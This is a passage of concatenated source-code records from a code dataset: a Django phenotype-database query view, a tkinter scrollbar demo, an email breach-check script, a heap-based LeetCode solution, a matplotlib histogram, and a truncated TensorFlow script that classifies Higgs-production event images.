line_vals = str.split(str(line.strip()))\n if len(line_vals) == 1:\n user_ids.append([line_vals[0]])\n elif len(line_vals) == 2:\n ## assume source_id source format to start with\n user_ids.append([line_vals[0],line_vals[1]])\n else:\n message = \"Sorry the format of your individual list has not been recognised\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n message = \"Sorry your file '\" + indFile.name + \"' is too large to read into memory.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n ## get user input to say if ids are phenodbids, sample or supplier\n if len(user_ids) > 0:\n # array of tuples\n db_ids = []\n for user_id in user_ids:\n start = time.time()\n if len(user_id) == 1:\n try:\n query_result = Sample.objects.filter(sample_id__iexact=user_id[0])[0]\n\n except IndexError:\n # see if the id is a sample id\n if PhenodbIdentifier.objects.filter(phenodb_id=user_id[0]).count() > 0:\n query_result = PhenodbIdentifier.objects.get(phenodb_id=user_id[0])\n else:\n continue\n# try:\n# query_result = PhenodbIdentifier.objects.get(phenodb_id=user_id[0])\n# except PhenodbIdentifier.DoesNotExist:\n# # see if the id is a sample id\n# if Sample.objects.filter(sample_id__iexact=user_id[0]).count() > 0:\n# query_result = Sample.objects.filter(sample_id__iexact=user_id[0])[0]\n# else:\n# continue\n\n elif len(user_id) == 2:\n try:\n query_result = IndividualIdentifier.objects.get(individual_string__iexact=user_id[0], source__source_name__iexact=user_id[1])\n except IndividualIdentifier.DoesNotExist:\n continue\n\n ## the individuals need to be in tuples to match the queryset results\n individual_tuple = query_result.individual_id,\n db_ids.append(individual_tuple)\n #print 'id search',time.time() - start\n\n if len(db_ids) > 0:\n\n query_results = perform_queries_with_ids(request, tables, wheres, where_iss, querystrs, db_ids, andors)\n if query_results is not None:\n result_ids = query_results[0]\n query_summary = query_results[1]\n request.session['user_ids'] = list(db_ids)\n if len(result_ids) > 0:\n table = generate_results_table(result_ids, results_per_page, page, output)\n return render(request, 'search/queryresults.html', {'tablehtml': table[0], 'page_results':table[1], 'count':len(result_ids), 'query_summary':query_summary, 'results_per_page':results_per_page})\n else:\n message = \"Sorry your query didn't return any results, please try another query.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n message = \"Query form contains missing information, please complete all required fields and try again.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n message = \"Sorry none of the individual IDs you provided could be found, please try again.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n message = \"No individual IDs were input, please try again.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n\n elif search_in == 'all':\n query_results = perform_queries(request, tables, wheres, where_iss, querystrs, andors)\n if query_results is not None:\n result_ids = query_results[0]\n query_summary = query_results[1]\n if len(result_ids) > 0:\n table = generate_results_table(result_ids, results_per_page, page, output)\n return render(request, 'search/queryresults.html', {'tablehtml': table[0], 'page_results':table[1], 'count':len(result_ids), 'query_summary':query_summary, 'results_per_page':results_per_page})\n else:\n message = \"Sorry your query didn't return any results, please try another query.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n message = \"Query form contains missing information, please complete all required fields and try again.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n # pass all the phenotypes to the form to create the output options\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(), 'studies':Study.objects.all})\n\ndef querypage(request, page, results_per_page):\n\n tables = request.session.get('tables')\n wheres = request.session.get('wheres')\n where_iss = request.session.get('where_iss')\n querystrs = request.session.get('querystrs')\n output = request.session.get('output')\n search_in = request.session.get('search_in')\n andors = request.session.get('andors')\n\n if search_in == 'userlist':\n db_ids = request.session.get('user_ids')\n results = perform_queries_with_ids(request, tables, wheres, where_iss, querystrs, db_ids, andors)\n result_ids = results[0]\n query_summary = results[1]\n\n elif search_in == 'all':\n query_results = perform_queries(request, tables, wheres, where_iss, querystrs, andors)\n result_ids = query_results[0]\n query_summary = query_results[1]\n\n table = generate_results_table(result_ids, results_per_page, page, output)\n return render(request, 'search/queryresults.html', {'tablehtml': table[0], 'page_results':table[1], 'count':len(result_ids), 'query_summary':query_summary, 'results_per_page':results_per_page})\n\ndef query_export(request):\n tables = request.session.get('tables')\n wheres = request.session.get('wheres')\n where_iss = request.session.get('where_iss')\n querystrs = request.session.get('search_in')\n output = request.session.get('output')\n search_in = request.session.get('search_in')\n andors = request.session.get('andors')\n\n if search_in == 'userlist':\n db_ids = request.session.get('user_ids')\n results = perform_queries_with_ids(request, tables, wheres, where_iss, querystrs, db_ids, andors)\n result_ids = results[0]\n\n elif search_in == 'all':\n query_results = perform_queries(request, tables, wheres, where_iss, querystrs, andors)\n result_ids = query_results[0]\n\n result_ids_objs = parse_query_results(result_ids)\n parsed_results = get_output_data(result_ids_objs, output)\n\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"export.tsv\"'\n\n writer = csv.writer(response, delimiter=\"\\t\")\n\n for e in parsed_results:\n writer.writerow(e)\n\n return response\n\ndef query_db(table, where, where_is, querystr, last_query, andor):\n\n if table == 'phenotype':\n phenotype = Phenotype.objects.get(id=where)\n if phenotype.phenotype_type.phenotype_type == 'binary':\n if where_is == 'true':\n result_set = BinaryPhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__exact=1).values_list('individual_id')\n elif where_is == 'false':\n result_set = BinaryPhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__exact=0).values_list('individual_id')\n elif where_is == 'notnull':\n result_set = BinaryPhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__isnull=False).values_list('individual_id')\n elif where_is == 'isnull':\n result_set = BinaryPhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__isnull=True).values_list('individual_id')\n\n elif phenotype.phenotype_type.phenotype_type == 'qualitative':\n if where_is == 'eq':\n result_set = QualitativePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__iexact=querystr).values_list('individual_id')\n elif where_is == 'contains':\n result_set = QualitativePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__icontains=querystr).values_list('individual_id')\n elif where_is == 'starts_with':\n result_set = QualitativePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__istartswith=querystr).values_list('individual_id')\n elif where_is == 'ends_with':\n result_set = QualitativePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__iendswith=querystr).values_list('individual_id')\n elif where_is == 'isnull':\n result_set = QualitativePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__isnull=True).values_list('individual_id')\n elif where_is == 'notnull':\n result_set = QualitativePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__isnull=False).values_list('individual_id')\n\n elif phenotype.phenotype_type.phenotype_type == 'quantitative':\n if where_is == 'eq':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__iexact=querystr).values_list('individual_id')\n elif where_is == 'gt':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__gt=querystr).values_list('individual_id')\n elif where_is == 'gte':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__gte=querystr).values_list('individual_id')\n elif where_is == 'lt':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__lt=querystr).values_list('individual_id')\n elif where_is == 'lte':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__lte=querystr).values_list('individual_id')\n elif where_is == 'isnull':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__isnull=True).values_list('individual_id')\n elif where_is == 'notnull':\n result_set = QuantitiatvePhenotypeValue.objects.filter(phenotype__exact=phenotype.id, phenotype_value__isnull=False).values_list('individual_id')\n elif table == 'source':\n if where_is == 'true':\n result_set = IndividualIdentifier.objects.filter(source=where).values_list('individual_id')\n else:\n result_set = IndividualIdentifier.objects.exclude(source=where).values_list('individual_id')\n\n elif table == 'study':\n if where_is == 'true':\n result_set = Sample.objects.filter(studysample__study=where).values_list('individual_id')\n else:\n result_set = Sample.objects.exclude(studysample__study=where).values_list('individual_id')\n elif table == 'platform':\n if where_is == 'true':\n result_set = Sample.objects.filter(studysample__study__platform=where).values_list('individual_id')\n else:\n result_set = Sample.objects.exclude(studysample__study__platform=where).values_list('individual_id')\n\n if last_query is not None:\n if result_set.count() > 0:\n if andor == \"and\":\n intersection_set = set(list(last_query)).intersection(set(list(result_set)))\n return list(intersection_set)\n elif andor == \"or\":\n union_set = set(list(last_query)).union(set(list(result_set)))\n return list(union_set)\n else:\n return None\n else:\n return result_set\n\ndef parse_query_results(query_results):\n\n ## query results is a list of individual ids tuples\n ## from the intersection of all queries\n query_result_ids = []\n for e in query_results:\n query_result_ids.append(e[0])\n\n ## get a dict of all the ids and their objects\n bulk_query_results = Individual.objects.in_bulk(query_result_ids)\n\n ## put all of the objects into a list\n query_result_objs = []\n for key in bulk_query_results:\n ind = bulk_query_results[key]\n ## enter a link to an individual view\n query_result_objs.append({'identifier':ind.id})\n\n return query_result_objs\n\ndef get_output_data(page_results, output_columns):\n\n ## page_results is a list of individual ids tuples\n ## from the intersection of all queries\n ## get the result columns that user wants\n parsed_results = []\n for ind_tuple in page_results:\n start = time.time()\n ind_id = ind_tuple['identifier']\n row_values = []\n for column in output_columns:\n if column == 'IndividualID':\n ind_strings = IndividualIdentifier.objects.filter(individual_id = ind_id).values('individual_string')\n identifier_string = \", \".join(v['individual_string'] for v in ind_strings)\n\n row_values.append(identifier_string)\n\n elif column == 'PhenodbID':\n row_values.append(PhenodbIdentifier.objects.get(individual_id = ind_id).phenodb_id)\n\n elif column == 'Source':\n ind_objects = IndividualIdentifier.objects.filter(individual_id = ind_id)\n source_string = \", \".join(i.source.source_name for i in ind_objects)\n\n row_values.append(source_string)\n\n elif column == 'SampleIDs':\n sample_ids = Sample.objects.filter(individual_id = ind_id).distinct().values('sample_id')\n sample_string = \", \".join(s['sample_id'] for s in sample_ids)\n\n row_values.append(sample_string)\n\n elif column == 'Studies':\n samples = Sample.objects.filter(individual_id = ind_id)\n study_string = \"\"\n for s in samples:\n study_samples = StudySample.objects.filter(sample_id = s)\n study_string = \", \".join(ss.study.study_name for ss in study_samples)\n\n row_values.append(study_string)\n\n elif column == 'Platforms':\n samples = Sample.objects.filter(individual_id = ind_id)\n platform_string = \"\"\n for s in samples:\n study_samples = StudySample.objects.filter(sample_id = s)\n platform_string = \", \".join(ss.study.platform.platform_name for ss in study_samples)\n\n row_values.append(platform_string)\n\n elif str(column).startswith(\"phenotype\"):\n phenotype_id = column.split(\":\")[1]\n phenotype = Phenotype.objects.get(id=phenotype_id)\n\n if phenotype.phenotype_type.phenotype_type == 'binary':\n try:\n binary = BinaryPhenotypeValue.objects.get(phenotype__exact=phenotype.id, individual_id=ind_id)\n value = str(binary.phenotype_value)\n except BinaryPhenotypeValue.DoesNotExist:\n value = \"-\"\n elif phenotype.phenotype_type.phenotype_type == 'qualitative':\n try:\n qualitative = QualitativePhenotypeValue.objects.get(phenotype__exact=phenotype.id, individual_id=ind_id)\n value = str(qualitative.phenotype_value)\n except QualitativePhenotypeValue.DoesNotExist:\n value = \"-\"\n elif phenotype.phenotype_type.phenotype_type == 'quantitative':\n try:\n quantitiatve = QuantitiatvePhenotypeValue.objects.get(phenotype__exact=phenotype.id, individual_id=ind_id)\n value = str(quantitiatve.phenotype_value)\n except QuantitiatvePhenotypeValue.DoesNotExist:\n value = \"-\"\n\n row_values.append(value)\n elif str(column).startswith(\"study:\"):\n study_id = column.split(\":\")[1]\n try:\n ## check if there is a studysample for this study / sample\n study_sample = StudySample.objects.get(sample__individual__id = ind_id, study=study_id)\n study_sample_id = study_sample.sample.sample_id\n except StudySample.DoesNotExist:\n study_sample_id = \"\"\n except StudySample.MultipleObjectsReturned:\n ## what if there is more than one entry for the individual?\n ## such as where we have two sample names that both belong to a study?\n ## not sure what to do here\n continue\n\n# if StudySample.objects.filter(sample__individual__id = ind_id, study=study_id).count() == 1:\n# study_sample = StudySample.objects.get(sample__individual__id = ind_id, study=study_id)\n# study_sample_id = study_sample.sample.sample_id\n# for sample in samples:\n# if StudySample.objects.filter(sample=sample, study=study).count() == 1:\n# study_sample_id = sample.sample_id\n\n row_values.append(study_sample_id)\n\n parsed_results.append(row_values)\n #print 'results',time.time() - start\n return parsed_results\n\ndef perform_queries(request, tables, wheres, where_iss, querystrs, andors):\n ## perform the first query:\n table = tables.pop()\n if table == 'message':\n return None\n where = wheres.pop()\n if where == 'message':\n return None\n andor = andors.pop()\n\n if table == 'source' or table == 'study' or table == 'platform':\n querystr = ''\n where_is = where_iss.pop()\n\n if table == 'source':\n query_summary = [\"FROM source \" + Source.objects.get(id=where).source_name + \" \" + where_is]\n elif table == 'study':\n query_summary = [\"FROM study \" + Study.objects.get(id=where).study_name + \" \" + where_is]\n elif table == 'platform':\n query_summary = [\"FROM platform \" + Platform.objects.get(id=where).platform_name + \" \" + where_is]\n\n elif table == 'phenotype':\n where_is = where_iss.pop()\n if where_is == 'message':\n return None\n phenotype = Phenotype.objects.get(id=where)\n phenotype_type = phenotype.phenotype_type.phenotype_type\n\n if phenotype_type == 'binary' or where_is == 'isnull' or where_is == 'notnull':\n querystr = ''\n else:\n querystr = querystrs.pop().strip()\n\n query_summary = [\"FROM phenotype WHERE \" + Phenotype.objects.get(id=where).phenotype_name + \" \" + where_is + \" \" + querystr]\n\n query_results = query_db(table, where, where_is, querystr, None, andor)\n\n ## if there are more queries then perform them on the ids returned from the first query\n while len(tables) > 0:\n table = tables.pop()\n where = wheres.pop()\n andor = andors.pop()\n if table == 'source' or table == 'study' or table == 'platform':\n querystr = ''\n where_is = where_iss.pop()\n\n if table == 'source':\n query_string = \"FROM source \" + Source.objects.get(id=where).source_name + \" \" + where_is\n elif table == 'study':\n query_string = \"FROM study \" + Study.objects.get(id=where).study_name + \" \" + where_is\n elif table == 'platform':\n query_string = \"FROM platform \" + Platform.objects.get(id=where).platform_name + \" \" + where_is\n\n elif table == 'phenotype':\n where_is = where_iss.pop()\n phenotype = Phenotype.objects.get(id=where)\n phenotype_type = phenotype.phenotype_type.phenotype_type\n\n if phenotype_type == 'binary' or where_is == 'isnull' or where_is == 'notnull':\n querystr = ''\n else:\n querystr = querystrs.pop().strip()\n\n query_string = \"FROM phenotype WHERE \" + Phenotype.objects.get(id=where).phenotype_name + \" \" + where_is + \" \" + querystr\n\n if len(query_results) > 0:\n query_results = query_db(table, where, where_is, querystr, query_results, andor)\n query_summary.append(query_string)\n else:\n message = \"Sorry your query didn't return any results, please try another query.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n return query_results, query_summary\n\ndef perform_queries_with_ids(request, tables, wheres, where_iss, querystrs, user_ids, andors):\n\n if tables[-1] == 'message':\n return user_ids, \"\"\n else:\n ## perform all the filtering and then filter out only those in the user id list\n query_results = perform_queries(request, tables, wheres, where_iss, querystrs, andors)\n result_ids = query_results[0]\n query_summary = query_results[1]\n query_results = set(list(result_ids)).intersection(set(list(user_ids)))\n\n return query_results, query_summary\n\n\ndef get_page_results(paginator, page):\n\n try:\n page_results = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n page_results = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n page_results = paginator.page(paginator.num_pages)\n\n return page_results\n\n\ndef generate_results_table(result_ids, results_per_page, page, output):\n\n query_ids_objs = parse_query_results(result_ids)\n page_results = get_page_results(Paginator(query_ids_objs, results_per_page), page)\n table_html = generate_html_table(output, get_output_data(page_results, output))\n\n return table_html, page_results\n\n\ndef duplicateSampleIDs(request):\n duplicates = get_duplicate_sampleIDs()\n warning = f'{len(duplicates)} samples are attached to different phenodb IDs.'\n\n return render(request, 'search/duplicateSampleIDs.html', {\n 'duplicate_samples': dict(duplicates),\n 'warning': warning,\n })\n","sub_path":"search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":39322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"183492106","text":"from tkinter import *\r\n\r\ndef reportScroll(event):\r\n print('scrolled')\r\n\r\nroot = Tk()\r\nmyListbox = Listbox(root, selectmode=SINGLE, height=10, width=20)\r\nfor x in range(30):\r\n myListbox.insert(END, x)\r\n myListbox.pack(side=LEFT, expand=YES, fill=BOTH)\r\n\r\nmyScrollbar = Scrollbar(root, command=myListbox.yview)\r\nmyScrollbar.bind('', reportScroll)\r\nmyScrollbar.pack(side=RIGHT, fill=Y)\r\n\r\nmyListbox.config(yscrollcommand=myScrollbar.set)\r\nroot.mainloop()","sub_path":"learn/think_python/scrollbar.py","file_name":"scrollbar.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"590922891","text":"import requests\r\n\r\n\r\nword = 'However, someone else could have signed up using your email address. Read the explanation below.'\r\nword2 = 'Oh no! Your email address has been leaked'\r\n\r\ndef check(email):\r\n url = 'https://ashley.cynic.al/'\r\n payload = {'email': email}\r\n\r\n x = requests.post(url, data = payload)\r\n check.breached = word in x.text\r\n\r\n url2 = 'https://check.cybernews.com/chk/'\r\n payload2 = {'e': email, 'lang': 'en_US'}\r\n\r\n z = requests.post(url2, data = payload2)\r\n check.breached2 = word2 in z.text\r\n","sub_path":"breached.py","file_name":"breached.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"224069080","text":"class Solution:\n def kthSmallest(self, matrix: List[List[int]], k: int) -> int:\n heap = []\n for i in range(min(len(matrix[0]), k)):\n curr = (matrix[0][i], 0, i)\n heapq.heappush(heap, curr)\n numberCount, number = 0, 0\n while k > 0:\n number, row, col = heapq.heappop(heap)\n k -= 1\n if row == len(matrix)-1: \n continue\n next_val = (matrix[row+1][col], row+1, col)\n heapq.heappush(heap, next_val)\n return number","sub_path":"378.Kth_Smallest_Element_in_a_Sorted_Matrix.py","file_name":"378.Kth_Smallest_Element_in_a_Sorted_Matrix.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"548064631","text":"#!/usr/bin/env python3\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnp.random.seed(5)\nstudent_grades = np.random.normal(68, 15, 50)\n\nplt.title(\"Project A\")\nplt.xlabel(\"Grades\")\nplt.ylabel(\"Number of Students\")\n\nplt.hist(student_grades,bins=10, range=(0,100), edgecolor='black')\nplt.xticks(np.arange(0, 110,10))\nplt.show()","sub_path":"math/0x01-plotting/4-frequency.py","file_name":"4-frequency.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"445849972","text":"#!/usr/bin/env python\n# encoding: utf-8\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n# Install TensorFlow\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom tensorflow.keras.models import Sequential, load_model\nfrom tensorflow.keras.layers import Dense, Dropout, Flatten , Convolution2D, MaxPooling2D , Lambda, Conv2D, Activation,Concatenate\nfrom tensorflow.keras.optimizers import Adam , SGD , Adagrad\nfrom tensorflow.keras.callbacks import ModelCheckpoint, LearningRateScheduler, EarlyStopping, CSVLogger, ReduceLROnPlateau\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras import regularizers , initializers\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.preprocessing.image import NumpyArrayIterator\n\n\ngpus = tf.config.experimental.list_physical_devices('GPU')\nif gpus:\n # Restrict TensorFlow to only use the first GPU\n try:\n tf.config.experimental.set_visible_devices(gpus[0], 'GPU')\n tf.config.experimental.set_virtual_device_configuration(\n gpus[0],\n [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=12000)])\n logical_gpus = tf.config.experimental.list_logical_devices('GPU')\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPU\")\n except RuntimeError as e:\n # Visible devices must be set before GPUs have been initialized\n print(e)\n \nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import confusion_matrix\n# from xgboost import XGBClassifier\nimport tensorflow.keras.backend as K\nfrom sklearn import metrics\n\n# Import local libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport pandas as pd\nimport importlib\nimport os\nimport sys\n\nfile_index = sys.argv[1]\n\n\nprint(\"Tensorflow Version is {}\".format(tf.__version__))\nprint(\"Keras Version is {}\".format(tf.keras.__version__))\nfrom tensorflow.python.client import device_lib\n# print(device_lib.list_local_devices())\ntf.device('/device:XLA_GPU:0')\n\n# time counter\nprint(time.strftime(\"%a %b %d %H:%M:%S %Y\", time.localtime()))\nticks_1 = time.time()\n\npath = \"./Train_Images\"\n\n# [:170000]\n# [170000:195000]\nif int(file_index) == 1:\n ggh_image_train = np.load(path + \"/ggh_image_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n ggh_jet_train = np.load(path + \"/ggh_jet_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n ggh_image_val = np.load(path + \"/ggh_image_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n ggh_jet_val = np.load(path + \"/ggh_jet_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n\n vbf_image_train = np.load(path + \"/vbf_image_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n vbf_jet_train = np.load(path + \"/vbf_jet_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n vbf_image_val = np.load(path + \"/vbf_image_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n vbf_jet_val = np.load(path + \"/vbf_jet_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n\n vh_image_train = np.load(path + \"/vh_image_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n vh_jet_train = np.load(path + \"/vh_jet_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n vh_image_val = np.load(path + \"/vh_image_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n vh_jet_val = np.load(path + \"/vh_jet_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n\n tth_image_train = np.load(path + \"/tth_image_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n tth_jet_train = np.load(path + \"/tth_jet_train_1n1c0c.npz\")[\"arr_0\"][:85000][:17500]\n tth_image_val = np.load(path + \"/tth_image_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n tth_jet_val = np.load(path + \"/tth_jet_val_1n1c0c.npz\")[\"arr_0\"][:17500]\n\nif int(file_index) == 2:\n ggh_image_train = np.load(path + \"/ggh_image_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n ggh_jet_train = np.load(path + \"/ggh_jet_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n ggh_image_val = np.load(path + \"/ggh_image_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n ggh_jet_val = np.load(path + \"/ggh_jet_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n\n vbf_image_train = np.load(path + \"/vbf_image_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n vbf_jet_train = np.load(path + \"/vbf_jet_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n vbf_image_val = np.load(path + \"/vbf_image_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n vbf_jet_val = np.load(path + \"/vbf_jet_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n\n vh_image_train = np.load(path + \"/vh_image_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n vh_jet_train = np.load(path + \"/vh_jet_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n vh_image_val = np.load(path + \"/vh_image_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n vh_jet_val = np.load(path + \"/vh_jet_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n\n tth_image_train = np.load(path + \"/tth_image_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n tth_jet_train = np.load(path + \"/tth_jet_train_1n1c0c.npz\")[\"arr_0\"][85000:]\n tth_image_val = np.load(path + \"/tth_image_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n tth_jet_val = np.load(path + \"/tth_jet_val_1n1c0c.npz\")[\"arr_0\"][17500:]\n\n\n\n\nprint(\"ggH Training: Event Image {}, Jet Image {} \".format(ggh_image_train.shape,ggh_jet_train.shape))\nprint(\"ggH Val.: Event Image {}, Jet Image {} \".format(ggh_image_val.shape,ggh_jet_val.shape))\nprint(\"VBF Training: Event Image {}, Jet Image {} \".format(vbf_image_train.shape,vbf_jet_train.shape))\nprint(\"VBF Val.: Event Image {}, Jet Image {} \".format(vbf_image_val.shape,vbf_jet_val.shape))\nprint(\"VH Training: Event Image {}, Jet Image {} \".format(vh_image_train.shape,vh_jet_train.shape))\nprint(\"VH Val.: Event Image {}, Jet Image {} \".format(vh_image_val.shape,vh_jet_val.shape))\nprint(\"ttH Training: Event Image {}, Jet Image {} \".format(tth_image_train.shape,tth_jet_train.shape))\nprint(\"ttH Val.: Event Image {}, Jet Image {} \".format(tth_image_val.shape,tth_jet_val.shape))\n\n\n\nx_train_eve = np.concatenate((ggh_image_train, vbf_image_train))\nx_train_eve = np.concatenate((x_train_eve, vh_image_train))\nx_train_eve = np.concatenate((x_train_eve, tth_image_train))\nx_val_eve = np.concatenate((ggh_image_val, vbf_image_val))\nx_val_eve = np.concatenate((x_val_eve, vh_image_val))\nx_val_eve = np.concatenate((x_val_eve, tth_image_val))\n\nx_train_jet = np.concatenate((ggh_jet_train, vbf_jet_train))\nx_train_jet = np.concatenate((x_train_jet, vh_jet_train))\nx_train_jet = np.concatenate((x_train_jet, tth_jet_train))\nx_val_jet = np.concatenate((ggh_jet_val, vbf_jet_val))\nx_val_jet = np.concatenate((x_val_jet, vh_jet_val))\nx_val_jet = np.concatenate((x_val_jet, tth_jet_val))\n\n# # sample_weight = np.concatenate((ggh_weight_list[HJ_train[\"eventindex\"]], vbf_weight_list[VBF_train[\"eventindex\"]]))\n# # sample_weight = np.concatenate((sample_weight,vh_weight_list[VH_train[\"eventindex\"]]))\n\ny_train = np.concatenate((np.full(len(ggh_image_train), 0), np.full(len(vbf_image_train), 1)))\ny_train = np.concatenate((y_train, np.full(len(vh_image_train), 2)))\ny_train = np.concatenate((y_train, np.full(len(tth_image_train), 3)))\n\ny_val = np.concatenate((np.full(len(ggh_image_val), 0), np.full(len(vbf_image_val), 1)))\ny_val = np.concatenate((y_val, np.full(len(vh_image_val), 2)))\ny_val = np.concatenate((y_val, np.full(len(tth_image_val), 3)))\n\n\ny_train = to_categorical(y_train)\ny_val = to_categorical(y_val)\n\n\nprint(\"Event: Training {} Val {}\".format(x_train_eve.shape,x_val_eve.shape))\nprint(\"Jet: Training {} Val {}\".format(x_train_jet.shape,x_val_jet.shape))\nprint(\"Target: Training {} Val {}\".format(y_train.shape,y_val.shape))\n\n\n\n\n############################################################################################################################################################\nticks_2 = time.time()\ntotaltime = ticks_2 - ticks_1\nprint(\"\\033[3;33mTime consumption : {:.4f} min\\033[0;m\".format(totaltime/60.))\n\n\n\nif int(file_index) == 1:\n ######################################################################################\n \"\"\"\n Model\n \"\"\"\n def return_pad_me(padding):\n def pad_me(x):\n #FRANK# x[:,:,:y,:] slice x off from y at the given axis.\n return(tf.concat((x,x[:,:,:padding,:]),2))\n # return(tf.concat((2,x,x[:,:,:padding,:])))\n return(pad_me)\n\n\n input_shape = x_train_eve[0].shape\n print(\"image shape\",input_shape)\n\n model_event = Sequential(name = 'Sequential_for_event')\n model_event.add(Lambda(return_pad_me(4),\n input_shape=input_shape, name = 'event'))\n model_event.add(Conv2D(32, kernel_size=(5, 5), strides=(1, 1),\n activation='relu',\n data_format='channels_first', name = 'event_2D_1'))\n model_event.add(Lambda(return_pad_me(1),\n input_shape=input_shape, name = 'event_padding_1'))\n model_event.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2),data_format='channels_first', name = 'event_MaxPooling_1'))\n model_event.add(Lambda(return_pad_me(4),input_shape=input_shape, name = 'event_padding_2'))\n model_event.add(Conv2D(64, (5, 5), activation='relu',data_format=\"channels_first\", name = 'event_2D_2'))\n model_event.add(Lambda(return_pad_me(1),input_shape=input_shape, name = 'event_padding_3'))\n model_event.add(MaxPooling2D(pool_size=(2, 2),data_format=\"channels_first\", name = 'event_MaxPooling_2'))\n model_event.add(Flatten(name = 'event_flatten'))\n model_event.add(Dense(300, activation='relu', name = 'event_dense_1'))\n\n model_event.add(Dropout(0.1))\n\n\n model_jet = Sequential(name = 'Sequential_for_jet')\n model_jet.add(Conv2D(32, kernel_size=(5, 5), strides=(1, 1),\n activation='relu',\n data_format='channels_first',input_shape=input_shape, name = 'jet'))\n model_jet.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2),data_format='channels_first', name = 'jet_MaxPooling_1'))\n model_jet.add(Conv2D(64, (5, 5), activation='relu',data_format='channels_first', name = 'jet_2D_1'))\n model_jet.add(MaxPooling2D(pool_size=(2, 2),data_format='channels_first', name = 'jet_MaxPooling_2'))\n model_jet.add(Flatten(name = 